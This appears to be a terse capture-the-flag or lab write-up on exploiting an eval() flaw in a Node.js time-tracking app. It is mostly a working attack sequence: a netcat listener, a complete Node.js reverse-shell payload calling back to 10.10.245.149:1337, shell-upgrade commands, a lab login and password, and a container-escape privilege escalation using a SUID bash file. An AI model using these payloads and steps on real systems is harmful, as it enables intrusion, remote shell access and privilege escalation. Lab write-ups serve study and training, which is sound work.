In Claire's home directory we see the files that host the website. We can see the timeCalc uses the eval statement which is vulnerable.
Victim
cd /home/claire-r/timeTracker-src
cat app.js
TCP/80:443 - HTTP(s)
Kali
nc -lvnp 1337
Login
Username: claire-r
Password:Password1
Payload
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.245.149", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Full TTY Shell
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg
If you have access as root inside a container that has some folder from the host mounted and you have escaped as a non privileged user to the host and have read access over the mounted folder. You can create a bash suid file in the mounted folder inside the container and execute it from the host to privesc.
